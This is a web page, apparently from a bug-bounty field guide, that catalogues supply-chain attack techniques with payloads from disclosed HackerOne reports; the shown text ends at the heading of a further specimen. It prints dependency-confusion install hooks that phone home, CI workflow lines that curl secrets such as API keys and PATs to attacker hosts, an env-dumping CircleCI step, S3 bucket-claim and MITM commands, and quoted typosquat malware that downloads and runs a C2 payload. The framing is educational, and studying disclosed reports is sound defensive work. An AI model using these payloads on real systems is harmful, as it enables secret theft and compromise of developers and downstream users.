⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued βŒ‚
πŸ”Ž
Field Guide/Vulnerabilities/Supply Chain & Malicious Code
Vulnerabilities

Supply Chain & Malicious Code

Specimens 31No direct PortSwigger lab

Β§Basic information

A supply-chain bug lets you compromise software before it reaches the target β€” you poison a dependency it installs, a build input it fetches, or the CI pipeline that publishes it, so your code runs on developer laptops, CI runners, and every downstream consumer that trusts the artifact. The impact is almost always code execution at install-time or build-time: a package's setup.py/gemspec hook, an npm lifecycle script, a jar that runs during tests, a workflow step with secrets in env.

What makes the class distinctive is the blast radius β€” the target isn't one app, it's "everyone who runs pip install, bundle install, or pulls the release." The whole game is the same two-step: find a trusted fetch (a name a resolver looks up, a URL a script curls, a handle CI references) and prove that you can control what comes back. Whether that's an unclaimed registry name, an http:// jar, a dangling S3 bucket, or a fork-PR checkout, the sink is the same: trusted automation executes attacker-controlled bytes.

Β§Methodology

  1. Enumerate the trusted fetches. Harvest package names from manifests/lockfiles (Gemfile.lock, requirements.txt, package.json, pom.xml, Cargo.toml), and pull remote URLs and handles out of install.sh/Dockerfile/Makefile/CI YAML. Names also leak in JS bundles, error messages, public repos, and CI configs.
  2. Classify each fetch by resolver. Registry name β†’ dependency confusion. http:// jar/tarball β†’ MITM. Fork-PR checkout in a privileged workflow β†’ pull_request_target RCE. Hardcoded artifact host β†’ dangling-host takeover. Auto-merge bot / DNS SRV β†’ parser/differential.
  3. Test controllability. Is the name unclaimed (or beatable by version) on the public registry? Is the download over plain HTTP with no adjacent checksum/signature? Does the bucket return NoSuchBucket? Is the org/action handle re-registerable?
  4. Plant a proof-only callback. For anything that reaches execution, ship a benign phone-home (host, user, cwd) β€” never a real payload. The confirming tell is an out-of-band callback from the build/CI host, not your own machine.
  5. Trace the escalation. Build-time RCE is already the top of one chain; walk it outward to secret theft, malicious merge, and a poisoned release consumed downstream.
# Dependency-confusion claimability probe (per harvested name) pip index versions PKG 2>&1 | grep -qi "no matching" && echo "PyPI UNCLAIMED: PKG" npm view PKG version 2>&1 | grep -qi "E404" && echo "npm UNCLAIMED: PKG" gem list -r -e PKG 2>&1 | grep -q "^$" && echo "gem UNCLAIMED: PKG" # tell: referenced internally but absent (or lower version) on the public registry -> claimable

Β§Technique variants

Group each trusted fetch by the resolver it abuses, then use the matching primitive.

Dependency confusion

An internal package name that isn't reserved (or is out-versioned) on the public registry. pip/npm/Bundler resolve the highest version across all configured indexes, so a high-versioned public package of the same name wins over the private one. Install alone runs the hook β€” the package need not be required.

# setup.py β€” runs on `pip install PKG`; phone home ONLY, to respect scope import socket, getpass, os, urllib.request, urllib.parse data = {'host': socket.gethostname(), 'cwd': os.getcwd(), 'user': getpass.getuser()} urllib.request.urlopen('https://COLLAB/?d=' + urllib.parse.urlencode(data))
# publish with a HIGH version so it beats any internal package of the same name gem push okra-90002.0.gem # RubyGems (#1104874) npm publish # package.json scripts.preinstall = payload (#462503, #925585)

Insecure build fetch (HTTP / no integrity)

A repository or resolver declared as http://, or a CI wget/curl of a tarball with no checksum or signature gate. A network MITM rewrites the artifact in flight; jars run during unit/integration tests and plugins β†’ RCE on the build host and a poisoned release.

# insecure repo URLs and unverified downloads grep -rniE 'http://[^"'"'"' ]*(maven|repo|repository|jcenter|central)' . # pom/gradle/ivy/sbt grep -rniE '(wget|curl)[^|]*http://' . # CI shell fetches # tell: an http:// jar/tarball feeds the build AND there is no adjacent sha256sum / gpg --verify
# transparent MITM that injects bytecode into fetched JARs (Dilettante, #506161) python dilettante.py # edit target repo host at line 143 mvn -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080 test # injected class runs = RCE

pull_request_target CI RCE

A GitHub Actions workflow triggered by pull_request_target runs in the base-repo context with secrets, but checks out and executes fork-PR code. Unlike pull_request, this trigger exposes secrets to fork PRs by design β€” developers assume it's safe. Any checkout of the PR head plus a run step is untrusted-code RCE with tokens in env.

# vulnerable workflow: privileged context, secrets in env, checks out attacker head on: pull_request_target jobs: build: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # attacker-controlled - run: npm install && npm run build # runs attacker code with secrets
// exfil from the fork PR's package.json β€” build/postinstall runs on the runner "scripts": { "build": "curl https://COLLAB/?k=$PRIVACY_CONFIG_PAT" }

Dangling artifact host takeover

An install.sh/Dockerfile/Makefile curls a build artifact from a hardcoded remote β€” an S3 bucket, GCS path, or GitHub release β€” that was never created. Claim it and every install fetches your file; in a run-as-root installer that's broad RCE. Same primitive as subdomain takeover, but for artifact hosts.

# read the URL out of the install script, then probe + claim it aws s3 ls s3://rocketchatbuild # NoSuchBucket -> claimable (#399166) aws s3 mb s3://rocketchatbuild aws s3 cp poc.tgz s3://rocketchatbuild/rocket.chat-develop.tgz # the installer now curls + untars your artifact on every run

Trust-gate automation & service discovery

Bots that parse diffs to gate trust, and clients that do service discovery over unauthenticated DNS, are supply-chain sinks: if the parser or resolver disagrees with reality, you smuggle code past review. A crafted diff hides added lines from an auto-merge bot; a poisoned SRV target points a package client at your server.

# git-diff parser confusion: smuggled Ruby lands in an auto-merged cask (#1167608) ++ "b/#{puts 'poc';b = 1;Casks = 1;iterm2 = {};iterm2.define_singleton_method(:rb) do 1 end; }" # rubocop:disable all ++ "b/" if # rubocop:disable all ++ b/Casks/iterm2.rb
# malicious SRV responder: point the gem client at an attacker source (#218088) match(//, IN::SRV) do |transaction| transaction.respond!(0, 0, 53, "evil.com/api.rubygems.com") # path smuggled past suffix check end

Backdoored & typosquatted packages

A package that is malicious by design β€” a typosquat of a popular name, or a transitive dep hiding a backdoor. Behavior is obfuscated to survive review: hex-encoded module names, magic-byte protocols, code fed from request data into vm.runInThisContext/eval.

# getcookies backdoor: stage JS bytes as headers, then trigger (#346516) curl -i 'http://TARGET/' -H 'X-Hacker: g0000h636465i' # stage code bytes curl -i 'http://TARGET/' -H 'X-Hacker: gfaffh636465i' # trigger header -> vm.runInThisContext
β–Έ TIP
Ship a proof-only phone-home (host + user + cwd) for every install/build-time primitive β€” never a real payload. The callback must arrive from the victim's build/CI host to prove execution context; a callback from your own laptop proves nothing.

Β§Bypasses

The recurring theme is fail-open verification: any check that returns "match/ok" when it cannot parse its input is a bypass. Feed malformed and alternate-encoding values and confirm it fails closed.

Filter / controlBypassSeen in
Unscoped internal sourcehigher public version number trumps the internal package#1104874, #946409
Diff-based PR reviewcheck out the fork as the base so diff validation sees no change#3619288
Auto-review diff parsergit_diff gem parses a crafted diff differently from git, hiding added Ruby#1167608
Downstream CI gate# rubocop:disable all so lint passes and auto-merge proceeds#1167608
Subresource Integritysha256-- / base64url hash unparsed β†’ bytesMatch returns true, no check#2377760
Gem signature verifyverify-vs-install tar parser differential forges a valid signature#275269
lockfile hash gatingbroken integrity/hash comparison lets a poisoned cache entry pass#703138
SRV target suffix checkpath smuggling (evil.com/api.rubygems.com) passes a naive suffix match#218088
Package reviewrequire('\x76\x6d') (=vm) + magic-byte header protocol evades manual review#346516
Registry-link trustplatform auto-links an unpublished manifest name to public npm β€” social, no resolver#462503
β–² WARNING
A missing checksum or an http:// repo URL with no demonstrated fetch you can tamper is a best-practice nag, not a finding. Show the artifact actually feeds the build with no integrity gate (or claim the dangling host / register the name and catch the callback) β€” otherwise it closes as informative.

Β§Escalation & impact

Supply-chain bugs are already the top of one chain β€” install/build-time RCE β€” but the value is in walking them outward to downstream consumers:

Full mined variant list (one-liners, best-first)
  • #946409 (Yelp, critical, 366) β€” internal pip name claimed on public PyPI; setup.py fired on CI.
  • #1104874 (Basecamp, high, $5k) β€” internal gem okra squatted on RubyGems; high version wins.
  • #3619288 / #3619287 (DuckDuckGo, critical) β€” pull_request_target fork RCE + PAT/API-key exfil.
  • #1167608 (Homebrew, critical) β€” git-diff parser confusion auto-merges Ruby into official Casks.
  • #506161 / #1039504 (PortSwigger, ibb) β€” HTTP Maven/Gradle/CI jars MITM'd in flight β†’ build RCE.
  • #346516 (npm getcookies) β€” backdoored transitive dep runs code from crafted request headers.
  • #399166 / #1285598 (Rocket.Chat, Reddit) β€” claim an unclaimed S3 bucket referenced by an install/CI script.
  • #218088 / #275269 / #392311 (RubyGems) β€” SRV DNS hijack, gem-signature tar differential, typosquat native-ext backdoor.
  • #2377760 / #703138 (Node.js) β€” SRI fail-open on malformed hash; yarn.lock cache poisoning.
  • #462503 / #925585 / #1364851 β€” npm/SVN dependency confusion via unpublished/unclaimed names.
  • #1439355 / #1434967 β€” renamed GitHub org / dangling account referenced by CI or docs.
  • #794407 / #212067 / #2255750 β€” forked-PR secret exfil, CI token in build logs, build-cache poisoning.
  • #982130 / #186352 β€” insecure HTTP update channel / root-run installer over HTTP.

Β§Prevention

Β§Tools

✦Specimens β€” real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β€” concrete payload, outcome, and matching practice lab. 31 in this class.

Real-world example

Dependency confusion (internal npm names on public registry)

β—† Critical
Specimen #925585 Β· paypal Β· 30000 Β· 933 votes Β· resolved
Program paypalSurface otherTag supply-chain

Root cause

Build tooling defaulted to the public npm registry for package names that only existed internally; an attacker can register those exact names publicly and the higher version is pulled and executed during internal builds.

Method

  1. Enumerate internal package names (leaked package.json, source maps, error logs, .npmrc scopes)
  2. Publish a same-named package to the public registry with a higher semver and a preinstall/postinstall script that beacons out
  3. Wait for internal CI/dev machines to resolve and install the public package
  4. Confirm code execution via DNS/HTTP callback from inside the corp network
// package.json of the malicious public package { "name": "<internal-pkg-name>", "version": "99.99.99", "scripts": { "preinstall": "node beacon.js" } } // beacon.js: exfil hostname/whoami/dns to attacker collab

Insight β€” Any ecosystem mixing private and public registries (npm scopes, PyPI, RubyGems, Maven) is exploitable when internal names are not reserved publicly and no scope/registry pinning is enforced. Harvest dependency names from leaked manifests and claim them.

Real-world example

Dependency confusion: internal pip package name claimed on public PyPI

β—† Critical
Specimen #946409 Β· yelp Β· awarded Β· 366 votes Β· resolved
Program yelpSurface otherChain Public-registry name squat -> build-time setup.py executiTag supply-chain

Root cause

A package that should resolve from an internal/private registry gets resolved from the public registry when the same name is unclaimed there (or a higher version is published publicly). Installing it runs attacker-controlled setup.py at build time.

Method

  1. Harvest internal package names referenced by the target (leaked requirements.txt/package.json, error messages, JS bundles, public repos, CI configs).
  2. Check whether each name is unclaimed on the public registry (PyPI/npm/RubyGems).
  3. Register the unclaimed name on the public registry with a benign setup.py/preinstall that only phones home (IP, hostname, cwd) to prove execution -- no further action, to respect scope.
  4. Wait for a misconfigured build/CI job to install it from public instead of internal; the callback confirms RCE context.
  5. Report the callback host/IP/path as proof (here: Jenkins + TravisCI build servers).
# setup.py in the malicious package (PoC callback only) import socket, getpass, os, urllib.request data = { 'hostname': socket.gethostname(), 'cwd': os.getcwd(), 'user': getpass.getuser(), } urllib.request.urlopen('https://COLLAB/?d=' + urllib.parse.urlencode(data)) # packaged so setup.py runs on `pip install yelp-cgeom`

Insight β€” Any private/internal package name your target uses is an RCE primitive if that name is unclaimed (or beatable by version) on the public registry. Enumerate internal package names first, then squat the unclaimed ones with a proof-only phone-home. Two Yelp packages fired (yelp-cgeom, clusterman_metrics), including a name leaked in a public repo -> assume public repos also expose internal names.

Real-world example

GitHub Actions pull_request_target RCE + PAT exfiltration (fork checkout with secrets)

β—† Critical
Specimen #3619288 Β· duckduckgo Β· none Β· 61 votes Β· resolved
Program duckduckgoSurface cloudChain pull_request_target -> runner RCE -> PAT theft -> mTag supply-chain

Root cause

auto-respond-pr.yml runs on pull_request_target (privileged, has secrets) and checks out the fork's head repo (repository: github.event.pull_request.head.repo.full_name) as BOTH base and PR, then runs npm ci + node index.js on attacker code with PRIVACY_CONFIG_PAT in env -> arbitrary code execution and secret exfiltration.

Method

  1. Find workflows triggered by pull_request_target that also check out PR/fork code
  2. Open a fork PR whose head contains malicious build/postinstall or index.js
  3. Workflow executes attacker code in privileged context; read/exfil secrets ($PRIVACY_CONFIG_PAT, ASANA_ACCESS_TOKEN, GH_RO_PAT) from env
  4. Use the stolen repo-scoped PAT to auto-approve/merge a malicious PR -> supply-chain compromise of downstream products
# in fork PR (executed by npm ci / node index.js on the runner) curl https://attacker/$(echo $PRIVACY_CONFIG_PAT) # root cause line: # repository: ${{ github.event.pull_request.head.repo.full_name }}

Insight β€” Audit .github/workflows for pull_request_target combined with any checkout of PR/fork code or execution of fork scripts (npm ci, make, node index.js). That pattern = untrusted-code RCE with repo secrets. Floating main-branch dependencies turn a stolen PAT into a direct supply-chain push to all consumers.

Real-world example

Git-diff parser confusion -> Ruby injection into official taps

β—† Critical
Specimen #1167608 Β· homebrew Β· none Β· 49 votes Β· resolved
Program homebrewSurface webChain Diff-parser confusion -> auto-merge -> Ruby eval on ev

Root cause

Homebrew's review-cask-pr auto-merge used a modified git_diff gem to decide a PR was 'simple'; a crafted diff exploited a parser bug that treats added lines as an a_path, hiding malicious additions so BrewTestBot auto-approved Ruby code injected into official Casks (RCE on installers).

Method

  1. Fork Homebrew/homebrew-cask
  2. Craft a cask diff that abuses the git_diff a_path parsing bug to smuggle extra Ruby lines
  3. Open a PR; add rubocop:disable so CI passes
  4. BrewTestBot auto-approves/merges; injected Ruby runs on cask install
++ "b/#{puts 'poc';b = 1;Casks = 1;iterm2 = {};iterm2.define_singleton_method(:rb) do 1 end; }" # rubocop:disable all ++ "b/" if # rubocop:disable all ++ b/Casks/iterm2.rb

Insight β€” Automation that parses diffs/patches to gate trust is a supply-chain sink: if the parser disagrees with git about what changed, you smuggle code past review. Also satisfy downstream gates (here Rubocop via '# rubocop:disable all') so auto-merge proceeds.

Real-world example

pull_request_target CI supply-chain RCE

β—† Critical
Specimen #3619287 Β· duckduckgo Β· none Β· 39 votes Β· resolved
Program duckduckgoSurface otherChain RCE on runner -> secret/token exfil -> GITHUB_TOKEN abTag supply-chain

Root cause

A GitHub Actions workflow triggered by pull_request_target runs in the base-repo context with secrets, but checks out and executes attacker-controlled fork PR code (npm install + npm run build) with zero access controls.

Method

  1. Find a workflow using `on: pull_request_target` that checks out `github.event.pull_request.head` and runs build/install scripts
  2. Open a fork PR whose package.json build/postinstall runs attacker code
  3. Exfiltrate secrets present in env (e.g. ANTHROPIC_API_KEY, DAX_PAT) and abuse GITHUB_TOKEN (pull-requests:write)
  4. Chain: use token to add semver labels -> trigger automated release pipeline -> publish poisoned release consumed by all downstream browsers/extensions
# .github/workflows/semver-label.yml (vulnerable pattern) on: pull_request_target: jobs: build: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # attacker-controlled - run: npm install && npm run build # runs attacker code with secrets in env # exfil in fork PR package.json: "scripts": { "build": "curl https://COLLAB/?k=$ANTHROPIC_API_KEY" }

Insight β€” Any repo using pull_request_target that checks out and executes PR HEAD code is RCE-on-runner + secret theft; if that repo feeds an automated release pipeline it becomes full supply-chain compromise. Grep org workflows for `pull_request_target` + `checkout` of head ref.

Real-world example

Backdoored npm package executes code from HTTP headers (getcookies)

β—† Critical
Specimen #346516 Β· nodejs-ecosystem Β· none Β· 8 votes Β· resolved
Program nodejs-ecosystemSurface apiChain transitive dependency -> header-driven code buffer ->

Root cause

The getcookies package (pulled in transitively via express-cookies) hides a backdoor in test/harness.js that reassembles a payload from crafted request headers into a buffer and runs it with vm.runInThisContext, giving remote code execution to anyone who knows the trigger protocol.

Method

  1. App uses express-cookies (-> getcookies)
  2. Send bytes of JS as custom headers using the g<pos>h<hexbytes>i protocol
  3. Send the trigger header (position 0xfffa) to run the assembled code via vm.runInThisContext
# stage code bytes: curl -i 'http://TARGET/' -H 'X-Hacker: g0000h636465i' # trigger execution: curl -i 'http://TARGET/' -H 'X-Hacker: gfaffh636465i'

Insight β€” Audit transitive deps for obfuscated behavior: require('\x76\x6d') (=vm), runInThisContext/eval fed from req.headers, hidden magic-byte protocols. A 'cookie parser' that opens a network-controlled code buffer is a planted backdoor, not a bug.

Real-world example

Malicious typosquat gem with install-time native extension backdoor

β—† Critical
Specimen #392311 Β· rubygems Β· none Β· 8 votes Β· resolved
Program rubygemsSurface otherChain typosquat install -> extconf.rb C2 fetch -> drop+chmodTag supply-chain

Root cause

A gem named to mimic 'activesupport' (as 'active-support') duplicates the real code but adds a compiled extension whose extconf.rb runs at install time: it base64-decodes a C2 hostname, resolves it, downloads a payload to /tmp, chmods 0777 and system()-executes it. CVE-2018-3779.

Method

  1. Attacker publishes a look-alike/typosquat package that shadows a popular name
  2. Package ships a native extension; gem install runs extconf.rb automatically
  3. Install hook fetches and executes a remote payload
# active-support-5.2.0.gem .../extconf.rb (attacker code, runs on `gem install`): milligram = 'MjlmYWVhNjMucGxhbmZobnRhZ2UuZGU=' # base64 -> 29faea63.planfhntage.de jaunting = Resolv.getaddress(Base64.decode64(milligram)) educable = Net::HTTP.get_response(URI('http://'+jaunting+'/mimming')) File.open('/tmp/autosymbiontic','wb+'){|f| f.write(educable.body); f.chmod(0777)} system('/tmp/autosymbiontic')

Insight β€” Package install hooks (Ruby extconf.rb, npm preinstall/postinstall, Python setup.py) run arbitrary code at install time β€” treat them as an execution boundary. Red flags in a dependency: base64/obfuscated hostnames, Net::HTTP/urllib downloads, writes to /tmp with 0777, system()/exec() in build scripts. Audit new/typosquatted transitive deps for these.

Real-world example

yarn.lock cache poisoning via broken integrity/hash gating

β—† Critical
Specimen #703138 Β· nodejs-ecosystem Β· none Β· 6 votes Β· resolved
Program nodejs-ecosystemSurface otherChain lockfile poisoning -> local cache poisoning -> arbitraTag supply-chainTag file-upload

Root cause

yarn validates integrity only when writing to cache and keys the cache by name+version+sha1 (checked on read); integrity is ignored on read. A crafted yarn.lock with a correct integrity but a target package's name/version/sha1 stores an unrelated tarball under the target's identity, so future installs get the attacker payload (CVE-2019-15608).

Method

  1. Install a payload package to obtain its resolved URL + integrity line.
  2. Edit yarn.lock: keep the payload's integrity, but relabel name/version and set the sha1 (#hash in resolved) to those of the TARGET package.
  3. Run yarn -> payload tarball is cached under target@version; integrity mismatch is ignored on cache read.
  4. Any later install of target@version resolves to the payload, running its postinstall (even bypassing --ignore-scripts on the original).
express@4.11.1: version "4.11.1" resolved "https://registry.yarnpkg.com/ponyhooves/-/ponyhooves-1.0.1.tgz#<express-sha1>" integrity sha1-5XycPpdtVw+X8ik1bKXW7hPv01g= # integrity of ponyhooves, not express

Insight β€” When auditing package managers/artifact caches, check WHERE integrity is enforced: validating on write but keying reads on a weaker hash means the strong check never protects installs. Look for integrity-checked-but-not-enforced patterns and cache keys that omit the strong digest.

Real-world example

CI build-cache poisoning via reusable artifact upload URL (NX Cloud)

β—† Critical
Specimen #2255750 Β· mozilla Β· USD 8000 Β· 57 votes Β· resolved
Program mozillaSurface cloudChain cache upload URL leak -> artifact overwrite -> CI RCE Tag cloud-aws

Root cause

A remote build-cache service (NX Cloud) issued an upload URL that could write the same cache artifact more than once. An attacker who can obtain that URL re-uploads a modified (trojaned) cache artifact; subsequent CI runs consume the poisoned cache, yielding RCE in CI and exfil of environment secrets.

Method

  1. Obtain the cache upload URL/token used by the target's CI (public repo config leaked it here)
  2. Re-upload a modified cache artifact containing malicious build steps
  3. When CI restores the poisoned cache it executes attacker code and env vars are exfiltrated

Insight β€” Remote build caches (NX, Turborepo, Bazel remote cache, sccache) are a supply-chain sink: check whether upload URLs are single-use and whether artifacts are integrity-verified. Reusable/unauthenticated cache writes -> poison the cache -> RCE in every downstream build.

Real-world example

npm maintainer ownership-transfer -> malicious transitive dependency (event-stream / flatmap-stream)

β—† Critical
Specimen #450006 Β· nodejs-ecosystem Β· none Β· 13 votes Β· resolved
Program nodejs-ecosystemSurface otherChain Social-engineered maintainer takeover -> malicious transiTag supply-chain

Root cause

An abandoned but very popular package (event-stream, ~2M downloads/week) had its publish rights handed to a volunteer who then added a new dependency (flatmap-stream) containing obfuscated malicious code. Every downstream project pulling event-stream silently pulled the malicious transitive dep.

Method

  1. Identify popular but unmaintained packages whose maintainers may cede control to a first-time volunteer.
  2. Gain publish rights via social engineering (offer to maintain), then publish a new version adding a fresh, low-profile dependency.
  3. Hide payload in the new dependency (flatmap-stream) and target a specific downstream victim (here: the Copay bitcoin wallet, to steal keys) so the code stays dormant elsewhere.
  4. Distribution rides the popular parent package's install base.

Insight β€” Trust in a dependency extends to its entire maintainer set and full transitive tree. Audit for (a) maintainer/ownership changes on critical deps, (b) newly added dependencies in a dep you already trusted, and (c) obfuscated/minified code in package tarballs that differs from the git source. Pin/lock and review diffs of transitive deps, not just direct ones.

Real-world example

Dependency confusion: register an internal gem name on public RubyGems

β—† High
Specimen #1104874 Β· basecamp Β· USD 5000 Β· 102 votes Β· resolved
Program basecampSurface otherChain internal name discovery -> public package registration -&Tag supply-chain

Root cause

An internal Ruby gem ('okra') was never registered on public RubyGems. If a Gemfile pulls from global sources, or Bundler < 2.2.10 resolves a transitive internal dep, a higher-versioned public gem of the same name is fetched and its install hooks run - RCE on build/dev machines.

Method

  1. Enumerate an org's internal package names (from public repos, error messages, lockfiles, JS bundles).
  2. Publish a public gem/npm/pypi package with the same name and a very high version number, with a callback in the install/gemspec hook.
  3. Wait for a developer or CI to resolve/install it from the public registry.
# gem published as okra-90002.0 on rubygems.org with a callback in its build # merely installing (gem install / bundle install resolving it) executes gem hooks -> RCE

Insight β€” Harvest internal package names and check whether they exist on the public registry; if not, claim them with a high version to catch misconfigured source priorities. Works across gem/npm/pypi. Note: install alone triggers execution - the package need not be required. Fix: pin internal sources / use Bundler >= 2.2.10 source scoping.

Real-world example

Claim unclaimed S3 bucket referenced by public CI script

β—† High
Specimen #1285598 Β· reddit Β· awarded Β· 96 votes Β· resolved
Program redditSurface cloudTag subdomain-takeoverTag cloud-aws

Root cause

A public build script referenced an S3 bucket (obs-nightly) that was no longer owned; anyone could create that bucket name and serve trojaned dependency files that the build pulls and executes.

Method

  1. Grep the org's public repos/CI for hardcoded bucket/host URLs
  2. Find one that 404s / is unclaimed (obs-nightly.s3-us-west-2.amazonaws.com)
  3. Create the bucket, upload files matching the referenced paths, enable static hosting
  4. Any run of the script fetches attacker-controlled binaries
aws s3 mb s3://obs-nightly --region us-west-2 # then upload cef_binary_${1}_macosx64.tar.bz2

Insight β€” Dangling cloud resources in source/CI are supply-chain gold: grep public repos for S3/GCS bucket names, package registries, and download hosts, then claim any that are unowned to inject code into builds/installs.

Real-world example

Build dependencies fetched over http without integrity check

β—† High
Specimen #1039504 Β· ibb Β· 100 Β· 20 votes Β· resolved
Program ibbSurface otherChain MITM on build fetch -> malicious dependency -> comprom

Root cause

CI build scripts (.travis/build-deps.sh) download dependencies (tap-windows.zip, lzo.tar.gz) over plain http with no checksum or signature verification, so a network MITM can inject malicious code into build artifacts.

Method

  1. Read the project's CI config and build scripts
  2. Grep for http:// downloads via wget/curl feeding the build
  3. Confirm no sha256/gpg verification of the fetched artifact
  4. MITM on the build network path replaces the artifact -> supply-chain compromise
wget -P download-cache/ "http://build.openvpn.net/downloads/releases/tap-windows-${VER}.zip" wget -P download-cache/ "http://www.oberhumer.com/opensource/lzo/download/lzo-${VER}.tar.gz" # no checksum/signature verification afterwards

Insight β€” Grep CI/build scripts (.travis.yml, Dockerfiles, Makefiles) for http:// downloads and for the absence of sha256sum/gpg --verify. Insecurely fetched build inputs are a classic supply-chain MITM foothold, even when the domains support https.

Real-world example

RubyGems SRV DNS hijack -> attacker gem source -> install-time RCE

β—† High
Specimen #218088 Β· rubygems Β· awarded Β· 10 votes Β· resolved
Program rubygemsSurface otherChain DNS SRV poison -> attacker gem server -> gem extension

Root cause

The gem client discovers the API server via a _rubygems._tcp SRV record and insufficiently validates the target; a MiTM can point it to an attacker host, so a trojaned gem's extensions API runs code at install time.

Method

  1. MiTM the victim's DNS
  2. Answer the SRV query for _rubygems._tcp.<source> with 0 0 53 evil.com/api.rubygems.com
  3. Serve a trojaned gem whose native extension executes on gem install -> RCE
# malicious SRV responder (RubyDNS) match(//, IN::SRV) do |transaction| transaction.respond!(0,0,53,"evil.com/api.rubygems.com") end # fix idea: reject targets containing '/' if (/\.#{Regexp.quote(host)}\z/ =~ target) && !target.include?("/")

Insight β€” Any client that does service discovery over unauthenticated DNS SRV/TXT and then fetches code/packages is a supply-chain MiTM target; check that the returned target is validated against the trusted host and doesn't smuggle a path.

Real-world example

Cargo ignores umask on crate extraction -> world-writable cached source

β—† High
Specimen #2094785 Β· ibb Β· USD 4660 Β· 7 votes Β· resolved
Program ibbSurface otherChain world-writable cached source -> local user tampers ->

Root cause

Cargo unpacked crate archives preserving the archive's stored file permissions instead of applying the process umask. A crate whose files are marked globally writable stays world-writable in the registry cache, so any local user can modify the cached source that the victim later compiles and runs (CVE-2023-38497).

Method

  1. Publish/obtain a crate whose archived files carry mode 0777/o+w
  2. Victim builds a project depending on it; Cargo extracts once into ~/.cargo/registry/src with permissions intact
  3. A second local user overwrites the cached .rs files; next build compiles & runs attacker code as the victim
# discovery of world-writable files (also the researcher's routine check): find / ! -type l -perm -002 -exec ls -alhd {} \; # crate ships files with mode 0777 -> extracted as-is under ~/.cargo/registry/src

Insight β€” Any archive extractor (unzip/tar/package manager) that trusts stored permissions instead of applying umask yields world-writable outputs. Test with `find <cache> -perm -002`. Writable build inputs = local privesc / supply-chain code execution against everyone who compiles them.

Real-world example

CircleCI secret exfiltration via forked-PR builds

β—† High
Specimen #794407 Β· nextcloud Β· none Β· 6 votes Β· resolved
Program nextcloudSurface cloudChain Forked PR CI run -> leaked GH_AUTH_TOKEN -> potential Tag cloud-awsTag supply-chain

Root cause

A CircleCI project with both 'Build forked pull requests' and 'Pass secrets to builds from forked pull requests' enabled lets any external forker run arbitrary CI steps with access to the project's stored secrets, exfiltrating environment variables/tokens.

Method

  1. Fork the target's public repo
  2. Edit .circleci/config.yml in the fork to add a step that exfiltrates the environment
  3. Open a PR back to the upstream repo - CI runs the malicious step with the project's secrets
  4. Collect the leaked secrets (e.g. GH_AUTH_TOKEN) at your endpoint
# add to a build step in .circleci/config.yml on the fork: - run: curl https://COLLAB/?env=$(env | base64 | tr -d '\n') # then send the fork branch as a PR to the upstream project

Insight β€” CI/CD misconfiguration is a supply-chain goldmine: check whether a project builds forked PRs AND passes secrets to them. If so, a single malicious PR leaks deploy keys/tokens. Also inspect public build logs' 'Preparing Environment Variables' for used secret names.

Real-world example

Insecure HTTP update channel -> tampered download URL -> RCE (CVE-2021-40099)

β—† High
Specimen #982130 Β· concretecms Β· none Β· 6 votes Β· resolved
Program concretecmsSurface webChain HTTP manifest MITM -> attacker direct_download_url -> Tag supply-chainTag file-upload

Root cause

concrete5 fetches its update manifest JSON over HTTP; the manifest's direct_download_url dictates what package is downloaded and unzipped into the web root. A MITM (or an admin-set outbound proxy) rewrites the manifest to point at an attacker zip, achieving RCE. The unzip target dir is named via time(), but the same time() seeds ccm_token, so the folder name is predictable.

Method

  1. MITM the HTTP update-check request (or, with admin, set an arbitrary outbound proxy).
  2. Rewrite the version field to force a fresh manifest, and set direct_download_url to an attacker-hosted zip containing a webshell (e.g. poc.php).
  3. Trigger the update; app downloads, unzips into updates/<time()> under web root.
  4. Recover the dir name: fetch any page returning ccm_token (generated from the same time()); brute a few nearby time values to hit the folder and execute the shell.
{"version":"8.6","notes":"RCE","notes_url":"https://documentation.concrete5.org/...","identifier":"8.6","date":"2017-08-02","direct_download_url":"http://ATTACKER:8000/test.zip"}

Insight β€” Any auto-update/plugin/theme mechanism that fetches a manifest over HTTP and honors a server-supplied download URL is an RCE sink under MITM. Also hunt for predictable temp/dir names seeded by time()/rand() that leak through another endpoint (here ccm_token) to locate dropped files.

Real-world example

Over-privileged public API key controls firmware builds

β—† High
Specimen #179986 Β· ui Β· awarded Β· 20 votes Β· resolved
Program uiSurface apiTag supply-chain

Root cause

A publicly exposed API token was mistakenly granted full-access permissions to the API controlling nightly firmware builds, allowing creation and overwrite of firmware images.

Method

  1. Discover a leaked API token (JS, repo, config)
  2. Test its scope against sensitive APIs
  3. Find it permits create/overwrite of nightly firmware builds

Insight β€” When you find an exposed key, always probe its actual privilege level rather than assuming it is read-only; a build/CI/firmware token with write access is a supply-chain compromise (attackers push trojaned firmware to all downstream devices).

Real-world example

MITM of build dependencies fetched over HTTP (Maven/Gradle) -> RCE

β—† Medium
Specimen #506161 Β· portswigger Β· USD 1000 Β· 134 votes Β· resolved
Program portswiggerSurface otherChain HTTP dependency fetch -> in-flight jar tamper -> code Tag supply-chainTag file-upload

Root cause

Build files (pom.xml/build.gradle) declare repositories with http:// URLs and pull jars with no integrity/signature check. A network MITM can rewrite the jar in flight; the jar's code executes during the build (unit/integration tests, plugins) yielding RCE on dev/CI machines and poisoned release artifacts.

Method

  1. Grep the target's build files for insecure repo URLs: `grep -rniE 'http://[^"'"'"' ]*(maven|repo|repository|jcenter|central)' .` (pom.xml <repository>/<pluginRepository>, build.gradle maven { url 'http://...' }, ivy/sbt resolvers).
  2. Position as MITM on the build's egress (public wifi, ISP injection, ARP spoof, rogue proxy).
  3. Point Dilettante at the target repo host to transparently rewrite fetched .jar bytecode in flight.
  4. Proxy the build's HTTP traffic through Dilettante and run the build/tests; injected class runs = RCE (PoC shows a cat image).
# clone github.com/mveytsman/dilettante, edit dilettante.py:143 to target the build's repo host python dilettante.py # transparent MITM proxy that injects code into fetched JARs # then run build with HTTP proxy pointed at Dilettante, e.g. mvn -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080 test

Insight β€” Any repository declared with http:// (not just central) is a supply-chain RCE sink because jars execute at build time with no checksum/signature gate. Always audit pom.xml/build.gradle/settings.xml/ivy/sbt resolvers for http:// and for missing checksum enforcement; insecure upload URLs additionally leak deploy credentials in plaintext.

Real-world example

RCE via hijacking an unclaimed S3 bucket referenced by an install script

